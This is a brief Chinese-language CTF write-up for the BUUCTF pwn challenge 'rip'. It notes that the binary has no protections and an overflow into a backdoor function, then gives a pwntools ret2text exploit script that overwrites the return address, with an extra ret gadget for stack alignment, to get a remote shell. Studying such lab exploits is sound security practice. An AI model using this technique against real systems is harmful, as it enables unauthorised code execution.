rip
看一下保护
什么都没开
第6行有一个溢出,还有一个后门,直接ret2text。
payload中需要加上一个ret,平衡一下栈。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29880)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
shell = 0x401186
ret = 0x0000000000401016
p1 = b'a' * (0xF + 8) + p64(ret) + p64(shell)
r.sendline(p1)
r.interactive()